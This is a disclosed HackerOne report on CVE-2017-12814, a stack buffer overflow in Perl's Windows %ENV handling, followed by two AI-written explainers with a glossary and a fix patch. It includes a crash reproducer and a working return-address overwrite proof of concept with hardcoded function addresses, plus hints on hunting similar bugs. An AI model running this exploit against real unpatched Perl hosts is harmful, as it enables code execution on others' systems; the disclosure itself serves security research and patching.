Skip to content
Memory corruption Disclosed report Advanced CVE-2017-12814

Perl $ENV Key Stack Buffer Overflow

A stack buffer overflow exists in the CPerlHost::Add method when copying an environment variable key into a fixed-size buffer without checking its length. An attacker who can control the $ENV key, such as through CGI-BIN custom HTTP headers, could achieve arbitrary code execution.

johnleitch Follow

Originally disclosed on HackerOne

Bounty$1,500 High View original
  • Triaged in 2 months
  • Fixed in 2 months
  • Paid in 2 months
  • Disclosed after 2.1 years

The CPerlHost::Add method in win32\perlhost.h is vulnerable to a stack buffer overflow.

void CPerlHost::Add(LPCSTR lpStr) { char szBuffer[1024]; LPSTR *lpPtr; int index, length = strlen(lpStr)+1;

for(index = 0; lpStr[index] != '\0' && lpStr[index] != '='; ++index)
szBuffer[index] = lpStr[index];

szBuffer[index] = '\0';
[...]

}

The issue exists because the size of lpStr, the key passed in when indexing into $ENV, is not checked before it is copied into szBuffer, a fixed size stack buffer.

The issue can be reproduced on a win32 build with the following script.

print "Starting\r\n"; $ENV{"A" x (0x1000)} = 0; print "Done\r\n";

In cases where the $ENV key is exposed as attack surface (such as through CGI-BIN custom HTTP headers), it may be possible for an attacker to achieve arbitrary code execution. The issue was exploited in both Strawberry and Active State Perl, which appear to be compiled without stack canaries or ASLR.

print "Starting\r\n";

$chars = "\x41\x41\x41\x41" . "\x78\x6e\x3b\x6e" . # perl526!exit (6E3B6E78) "\x43\x43\x43\x43" . "\x4e\x1d\x1e\x03" . # exit code (52305230) "\x45\x45\x45\x45" . "\x46\x46\x46\x46" . "\x47\x47\x47\x47" . "\x30\x2c\x3a\x6e"; # perl526!win32_getpid (6e3a2c30)

$ENV{$chars x ((0x400+0x4*0x10) / length $chars)} = 0;

print "Done\r\n";

A proposed patch that validates the length of lpStr follows.

diff --git "a/d:\source2\perl-raw\win32\perlhost.h" "b/D:\source2\perl\win32\perlhost.h" index 84b08c9..665504e 100644 --- "a/d:\source2\perl-raw\win32\perlhost.h" +++ "b/D:\source2\perl\win32\perlhost.h" @@ -2177,12 +2177,15 @@ compare(const void *arg1, const void *arg2) void CPerlHost::Add(LPCSTR lpStr) {

  • char szBuffer[1024];
  • char szBuffer[2048]; LPSTR *lpPtr; int index, length = strlen(lpStr)+1;

    for(index = 0; lpStr[index] != '\0' && lpStr[index] != '='; ++index)

  • szBuffer[index] = lpStr[index];
  •    if (index != sizeof(szBuffer) - 1)
    
  •        szBuffer[index] = lpStr[index];
    
  •    else
    
  •        Perl_croak_nocontext("$ENV key too large");
    

    szBuffer[index] = '\0';

Note that the buffer size had to be increased to accommodate larger values that were previously causing silent overwrites.

Credit: John Leitch ([email protected]), Bryce Darling ([email protected])

The original report as published on HackerOne, by johnleitch. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

Perl exposes environment variables to scripts through the %ENV hash. On Windows, the interpreter implements this through a host object, CPerlHost, defined in win32\perlhost.h. When a script assigns to a key in %ENV, the host's Add method is called with the key string, and it copies the key into a fixed-size stack buffer before storing it.

The report concerns a stack buffer overflow in that method. The affected asset is the legacy Perl build for Windows, and the issue was reported through the Internet Bug Bounty program on HackerOne.

Setup

The issue reproduces on a win32 build of Perl. The researcher tested it against Strawberry Perl and Active State Perl, and reports that both appear to be compiled without stack canaries or ASLR. No specific version numbers are given in the report.

The only precondition is the ability to control a key that ends up in %ENV. The researcher notes that this is reachable when the $ENV key is exposed as attack surface, giving CGI-BIN custom HTTP headers as an example.

Finding it

The vulnerable method is short enough to read in full:

Text
void
CPerlHost::Add(LPCSTR lpStr)
{
    char szBuffer[1024];
    LPSTR *lpPtr;
    int index, length = strlen(lpStr)+1;

    for(index = 0; lpStr[index] != '\0' && lpStr[index] != '='; ++index)
    szBuffer[index] = lpStr[index];

    szBuffer[index] = '\0';
    [...]
}

The loop walks lpStr until it hits a NUL or an = sign, copying each byte into szBuffer. Nothing checks the length of lpStr against the size of szBuffer, which is a fixed 1024-byte stack buffer. A key longer than the buffer therefore writes past its end, and the terminating szBuffer[index] = '\0' writes one byte beyond wherever the loop stopped.

Exploitation

Step 1: confirm the overflow

The researcher reproduced the issue with a minimal script that assigns to a %ENV key of 0x1000 bytes:

PERL
print "Starting\r\n";
$ENV{"A" x (0x1000)} = 0;
print "Done\r\n";

The key is built by repeating the character A 0x1000 times, well past the 1024-byte buffer, so the copy in CPerlHost::Add overruns the stack.

Step 2: turn the overflow into control flow

With the overflow confirmed, the researcher built a key that overwrites the saved return address with a chosen value and arranges a return into an existing function in the Perl binary:

PERL
print "Starting\r\n";

$chars =
    "\x41\x41\x41\x41" .
    "\x78\x6e\x3b\x6e" .    # perl526!exit (6E3B6E78)
    "\x43\x43\x43\x43" .
    "\x4e\x1d\x1e\x03" .    # exit code (52305230)
    "\x45\x45\x45\x45" .
    "\x46\x46\x46\x46" .
    "\x47\x47\x47\x47" .
    "\x30\x2c\x3a\x6e";     # perl526!win32_getpid (6e3a2c30)

$ENV{$chars x ((0x400+0x4*0x10) / length $chars)} = 0;

print "Done\r\n";

The $chars string is a repeating block of eight four-byte values. The comments identify the roles: perl526!exit at 6E3B6E78, an exit code of 52305230, and perl526!win32_getpid at 6e3a2c30. The block is repeated (0x400+0x4*0x10) / length $chars times, which repeats the block to build the oversized key. The researcher reports that this was exploited successfully in both Strawberry and Active State Perl.

Root cause

The mistake is in CPerlHost::Add: the key length is never validated before the key is copied into szBuffer, a fixed-size stack buffer. The loop condition only looks for the end of the string or an =, so any key longer than the buffer writes past it.

The report states that the tested builds appear to be compiled without stack canaries or ASLR. The report does not describe any other mitigation that was present.

Impact

With a crafted key the researcher achieved code execution. Where the $ENV key is exposed as attack surface, such as through CGI-BIN custom HTTP headers, the report says it may be possible for an attacker to achieve arbitrary code execution. That impact depends on the application passing attacker-controlled data into %ENV keys.

Fix

The report includes a proposed patch that validates the length of lpStr:

Diff
diff --git "a/d:\\source2\\perl-raw\\win32\\perlhost.h" "b/D:\\source2\\perl\\win32\\perlhost.h"
index 84b08c9..665504e 100644
--- "a/d:\\source2\\perl-raw\\win32\\perlhost.h"
+++ "b/D:\\source2\\perl\\win32\\perlhost.h"
@@ -2177,12 +2177,15 @@ compare(const void *arg1, const void *arg2)
 void
 CPerlHost::Add(LPCSTR lpStr)
 {
-    char szBuffer[1024];
+    char szBuffer[2048];
     LPSTR *lpPtr;
     int index, length = strlen(lpStr)+1;

     for(index = 0; lpStr[index] != '\0' && lpStr[index] != '='; ++index)
-	szBuffer[index] = lpStr[index];
+        if (index != sizeof(szBuffer) - 1)
+            szBuffer[index] = lpStr[index];
+        else
+            Perl_croak_nocontext("$ENV key too large");

     szBuffer[index] = '\0';

The patch doubles the buffer to 2048 bytes and stops copying once the index reaches sizeof(szBuffer) - 1, raising $ENV key too large instead of writing past the end. The researcher notes that the buffer size had to be increased to accommodate larger values that were previously causing silent overwrites.

Variants to test

  1. Other fixed-size stack copies of environment-derived strings in interpreter hosts and language runtimes. A positive result is a crash when a key or value far exceeds the buffer size.
  2. Other entry points into %ENV on Windows, beyond direct assignment in a script. A positive result is the same overflow reached through a different API.
  3. CGI-BIN applications that map custom HTTP headers into %ENV keys. A positive result is a header long enough to overrun the buffer and crash the process.

Hunting notes

This kind of bug hides in C code that copies strings into fixed-size stack buffers without a length check, particularly in platform-specific host layers such as the Windows implementation of interpreter features. During recon, the signals are legacy or platform-specific builds, binaries compiled without stack canaries or ASLR, and any feature that takes a name or key from outside and stores it in a fixed buffer.

The researcher showed impact by crafting a key that overwrites the saved return address and demonstrating it on two separate distributions. That progression, from a reproducible crash to code execution, is what makes the case for a high-severity stack overflow rather than a simple denial of service.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

What happened, in plain words

Perl is a programming language, and it has a feature called %ENV that lets a script read and write the environment variables of the program it runs in. Environment variables are small named settings that a program inherits from the system or from whatever started it, a bit like the labels on the folders in a filing cabinet: each one has a name (the key) and a value. On Windows, Perl handles this feature through a piece of internal code called CPerlHost, which lives in a file named win32\perlhost.h. When a script sets a key in %ENV, that code copies the key into a small, fixed-size area of memory on the stack.

The stack is a region of memory a program uses for short-lived working data, including the record of where to return to when the current function finishes. The buffer here is a fixed 1024-byte box on that stack. The bug is that the code copies the key into the box without first checking how long the key is. If the key is longer than the box, the extra characters spill over into whatever sits next to it in memory. This kind of mistake is called a stack buffer overflow, and it is dangerous because the spilled data can overwrite the record of where the program should return, letting an attacker redirect it.

The researcher reported this through the Internet Bug Bounty program on HackerOne, and it was rated high severity. The affected asset is the legacy Perl build for Windows. The report was disclosed on 12 November 2019, and a bounty of 1,500 USD was paid.

Context

Perl exposes environment variables to scripts through the %ENV hash. A hash is a collection of key and value pairs, like a dictionary where you look things up by name instead of by position. On Windows, the interpreter implements this through a host object, CPerlHost, defined in win32\perlhost.h. An interpreter is the program that reads your script and carries out its instructions. When a script assigns to a key in %ENV, the host's Add method is called with the key string, and it copies the key into a fixed-size stack buffer before storing it. A method is simply a named block of code belonging to an object.

The report concerns a stack buffer overflow in that method. The affected asset is the legacy Perl build for Windows, and the issue was reported through the Internet Bug Bounty program on HackerOne.

Setup

The issue reproduces on a win32 build of Perl. Win32 is the name for the Windows version of a program. The researcher tested it against Strawberry Perl and Active State Perl, two distributions of Perl for Windows, and reports that both appear to be compiled without stack canaries or ASLR. A stack canary is a small secret value the compiler places next to a buffer so that, if the buffer overflows, the program notices the canary has changed and stops before any damage is done. ASLR, address space layout randomisation, is a defence where the operating system loads a program at a random place in memory each time, so an attacker cannot know in advance where useful code sits. Without these two defences, an overflow is much easier to turn into something worse than a crash. No specific version numbers are given in the report.

The only precondition is the ability to control a key that ends up in %ENV. The researcher notes that this is reachable when the $ENV key is exposed as attack surface, giving CGI-BIN custom HTTP headers as an example. Attack surface means any way an outsider can feed data into the program. CGI-BIN is an older way of running programs on a web server: when a browser requests a particular URL, the server runs a program and sends back its output. HTTP headers are the extra lines of information a browser and server exchange alongside a request, such as which browser is being used. If a web application copies a custom header into a %ENV key, then whoever sends the request controls that key.

Finding it

The vulnerable method is short enough to read in full:

Text
void
CPerlHost::Add(LPCSTR lpStr)
{
    char szBuffer[1024];
    LPSTR *lpPtr;
    int index, length = strlen(lpStr)+1;

    for(index = 0; lpStr[index] != '\0' && lpStr[index] != '='; ++index)
    szBuffer[index] = lpStr[index];

    szBuffer[index] = '\0';
    [...]
}

Line by line, in plain words:

  • void means the method returns nothing.
  • CPerlHost::Add(LPCSTR lpStr) is the method's name and its input. lpStr is the key string being passed in. LPCSTR is a C type meaning a pointer to a read-only string of characters.
  • char szBuffer[1024]; reserves a box of 1024 characters on the stack. The number is fixed when the program is compiled and cannot grow at runtime.
  • LPSTR *lpPtr; declares a pointer variable that the rest of the method (not shown) uses.
  • int index, length = strlen(lpStr)+1; sets up a counter called index and measures the length of the incoming string with strlen, adding one for the terminating zero byte.
  • The for loop starts index at 0 and keeps going while the current character is not the end-of-string marker '\0' and not an = sign. Each pass copies one character from lpStr into szBuffer at the same position, then increments index.
  • szBuffer[index] = '\0'; writes the end-of-string marker after the copied characters.

The loop walks lpStr until it hits a NUL or an = sign, copying each byte into szBuffer. Nothing checks the length of lpStr against the size of szBuffer, which is a fixed 1024-byte stack buffer. A key longer than the buffer therefore writes past its end, and the terminating szBuffer[index] = '\0' writes one byte beyond wherever the loop stopped. Think of pouring a litre of water into a half-litre glass: the glass does not resize, so the rest goes over the table.

Exploitation

Exploitation means taking a bug and turning it into a concrete effect, here first a crash and then running code of the attacker's choosing. It is done in two steps.

Step 1: confirm the overflow

The researcher reproduced the issue with a minimal script that assigns to a %ENV key of 0x1000 bytes:

PERL
print "Starting\r\n";
$ENV{"A" x (0x1000)} = 0;
print "Done\r\n";

Line by line:

  • print "Starting\r\n"; prints a starting marker. \r\n is a Windows line break.
  • $ENV{"A" x (0x1000)} = 0; builds a key by repeating the letter A 0x1000 times. The x operator repeats a string, and 0x1000 is hexadecimal for 4096. It then assigns the value 0 to that key, which triggers CPerlHost::Add with the long key.
  • print "Done\r\n"; prints a finishing marker.

The key is built by repeating the character A 0x1000 times, well past the 1024-byte buffer, so the copy in CPerlHost::Add overruns the stack.

Step 2: turn the overflow into control flow

With the overflow confirmed, the researcher built a key that overwrites the saved return address with a chosen value and arranges a return into an existing function in the Perl binary. The saved return address is the note the program keeps on the stack saying where to go back to when the current function ends. Overwriting it means choosing where the program goes next. A function is a named block of code that does one job; the Perl binary is the compiled program file itself.

PERL
print "Starting\r\n";

$chars =
    "\x41\x41\x41\x41" .
    "\x78\x6e\x3b\x6e" .    # perl526!exit (6E3B6E78)
    "\x43\x43\x43\x43" .
    "\x4e\x1d\x1e\x03" .    # exit code (52305230)
    "\x45\x45\x45\x45" .
    "\x46\x46\x46\x46" .
    "\x47\x47\x47\x47" .
    "\x30\x2c\x3a\x6e";     # perl526!win32_getpid (6e3a2c30)

$ENV{$chars x ((0x400+0x4*0x10) / length $chars)} = 0;

print "Done\r\n";

Line by line:

  • print "Starting\r\n"; marks the start, as before.
  • $chars = begins building one string out of several pieces joined with the . operator, which glues strings together.
  • "\x41\x41\x41\x41" is four bytes written in hexadecimal. \x41 is the letter A. These bytes are filler.
  • "\x78\x6e\x3b\x6e" is four bytes that, read as a number, form the address 6E3B6E78, which the comment identifies as perl526!exit. The ! notation means a function inside a particular program file. This is the address the program will be made to jump to.
  • "\x43\x43\x43\x43" is more filler.
  • "\x4e\x1d\x1e\x03" is the value 52305230, which the comment labels as the exit code, the number the program reports when it finishes.
  • "\x45\x45\x45\x45", "\x46\x46\x46\x46" and "\x47\x47\x47\x47" are further filler blocks.
  • "\x30\x2c\x3a\x6e" is the address 6e3a2c30, identified as perl526!win32_getpid, another function in the same binary.
  • $ENV{$chars x ((0x400+0x4*0x10) / length $chars)} = 0; repeats the whole block to build the oversized key, then assigns it as a %ENV key. length $chars is the size of one block, and the arithmetic decides how many copies are needed.
  • print "Done\r\n"; marks the end.

The $chars string is a repeating block of eight four-byte values. The comments identify the roles: perl526!exit at 6E3B6E78, an exit code of 52305230, and perl526!win32_getpid at 6e3a2c30. The block is repeated (0x400+0x4*0x10) / length $chars times, which repeats the block to build the oversized key. The researcher reports that this was exploited successfully in both Strawberry and Active State Perl.

Root cause

The mistake is in CPerlHost::Add: the key length is never validated before the key is copied into szBuffer, a fixed-size stack buffer. The loop condition only looks for the end of the string or an =, so any key longer than the buffer writes past it. Validation here would simply mean comparing the length against the box size and refusing to copy if it does not fit.

The report states that the tested builds appear to be compiled without stack canaries or ASLR. The report does not describe any other mitigation that was present.

Impact

With a crafted key the researcher achieved code execution. Where the $ENV key is exposed as attack surface, such as through CGI-BIN custom HTTP headers, the report says it may be possible for an attacker to achieve arbitrary code execution. Arbitrary code execution means running any commands the attacker wants on the machine. That impact depends on the application passing attacker-controlled data into %ENV keys: if nothing outside can influence the key, the bug is limited to scripts that do it to themselves.

Fix

The report includes a proposed patch that validates the length of lpStr:

Diff
diff --git "a/d:\\source2\\perl-raw\\win32\\perlhost.h" "b/D:\\source2\\perl\\win32\\perlhost.h"
index 84b08c9..665504e 100644
--- "a/d:\\source2\\perl-raw\\win32\\perlhost.h"
+++ "b/D:\\source2\\perl\\win32\\perlhost.h"
@@ -2177,12 +2177,15 @@ compare(const void *arg1, const void *arg2)
 void
 CPerlHost::Add(LPCSTR lpStr)
 {
-    char szBuffer[1024];
+    char szBuffer[2048];
     LPSTR *lpPtr;
     int index, length = strlen(lpStr)+1;

     for(index = 0; lpStr[index] != '\0' && lpStr[index] != '='; ++index)
-	szBuffer[index] = lpStr[index];
+        if (index != sizeof(szBuffer) - 1)
+            szBuffer[index] = lpStr[index];
+        else
+            Perl_croak_nocontext("$ENV key too large");

     szBuffer[index] = '\0';

Line by line:

  • The diff header lines show which file is being changed and the version markers before and after. The @@ line says where in the file the change sits.
  • - char szBuffer[1024]; is the old line, removed: a 1024-byte box.
  • + char szBuffer[2048]; is the new line, added: the box is doubled to 2048 bytes.
  • The for loop line is unchanged.
  • -\tszBuffer[index] = lpStr[index]; is the old copy line, removed.
  • + if (index != sizeof(szBuffer) - 1) adds a check: only copy while there is still room. sizeof(szBuffer) - 1 is the last safe position, leaving space for the end-of-string marker.
  • + szBuffer[index] = lpStr[index]; performs the copy when there is room.
  • + else and + Perl_croak_nocontext("$ENV key too large"); handle the case where the box is full: instead of writing past it, the program stops with an error message saying the key is too large. Perl_croak_nocontext is Perl's internal way of raising a fatal error.

The patch doubles the buffer to 2048 bytes and stops copying once the index reaches sizeof(szBuffer) - 1, raising $ENV key too large instead of writing past the end. The researcher notes that the buffer size had to be increased to accommodate larger values that were previously causing silent overwrites. A silent overwrite is one that does not crash immediately, so nobody notices the data has been corrupted.

Variants to test

If you want to look for similar bugs yourself, the report suggests three directions:

  1. Other fixed-size stack copies of environment-derived strings in interpreter hosts and language runtimes. A positive result is a crash when a key or value far exceeds the buffer size.
  2. Other entry points into %ENV on Windows, beyond direct assignment in a script. A positive result is the same overflow reached through a different API. An API is the set of functions one piece of software offers to another so they can talk to each other.
  3. CGI-BIN applications that map custom HTTP headers into %ENV keys. A positive result is a header long enough to overrun the buffer and crash the process.

Hunting notes

This kind of bug hides in C code that copies strings into fixed-size stack buffers without a length check, particularly in platform-specific host layers such as the Windows implementation of interpreter features. During recon, the signals are legacy or platform-specific builds, binaries compiled without stack canaries or ASLR, and any feature that takes a name or key from outside and stores it in a fixed buffer. Recon means the early research phase where you map out what a target is made of before testing it.

The researcher showed impact by crafting a key that overwrites the saved return address and demonstrating it on two separate distributions. That progression, from a reproducible crash to code execution, is what makes the case for a high-severity stack overflow rather than a simple denial of service. A denial of service is when a program is knocked over and stops working, without the attacker gaining control of it.

Glossary

  • Perl: a programming language, often used for text processing and older web scripts.
  • %ENV: Perl's collection of environment variables, looked up by name.
  • Environment variable: a named setting a program inherits from the system or its parent process.
  • Key: the name part of a key and value pair, used to look a value up.
  • Hash: a collection of key and value pairs, looked up by name.
  • Interpreter: the program that reads a script and carries out its instructions.
  • Method: a named block of code belonging to an object.
  • Function: a named block of code that performs one job.
  • CPerlHost: the internal Windows host object in Perl that implements features such as %ENV.
  • win32: the name for the Windows version of a program or build.
  • Stack: a region of memory used for short-lived working data, including return addresses.
  • Buffer: a reserved area of memory used to hold data temporarily.
  • Stack buffer overflow: writing more data into a fixed-size stack buffer than it can hold, so the extra spills into neighbouring memory.
  • Saved return address: the record on the stack of where a function should return to when it finishes.
  • Control flow: the order in which a program executes its instructions; hijacking it means choosing what runs next.
  • Stack canary: a secret value placed next to a buffer so an overflow is detected before damage is done.
  • ASLR: address space layout randomisation, loading a program at a random memory location each run so addresses are hard to predict.
  • Mitigation: a defence that makes a bug harder to exploit.
  • Attack surface: any way an outsider can feed data into a program.
  • CGI-BIN: an older way of running programs on a web server in response to a browser request.
  • HTTP header: an extra line of information sent alongside a web request or response.
  • Hexadecimal: a base-16 way of writing numbers, often used for memory addresses and byte values.
  • Exploitation: turning a bug into a concrete effect, such as a crash or running chosen code.
  • Arbitrary code execution: running any commands the attacker wants on the affected machine.
  • API: the set of functions one piece of software offers to another so they can interact.
  • Recon: the early research phase of mapping out a target before testing it.
  • Denial of service: knocking a program over so it stops working, without gaining control of it.
  • Patch: a change to source code that fixes a bug.
  • Diff: a formatted listing showing lines added to and removed from a file.
  • Silent overwrite: an overflow that corrupts data without an immediate crash, so it goes unnoticed.
  • Bounty: a payment made for a valid security report.

More by johnleitch

View all

20 more disclosed reports, best first.

More from Internet Bug Bounty

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.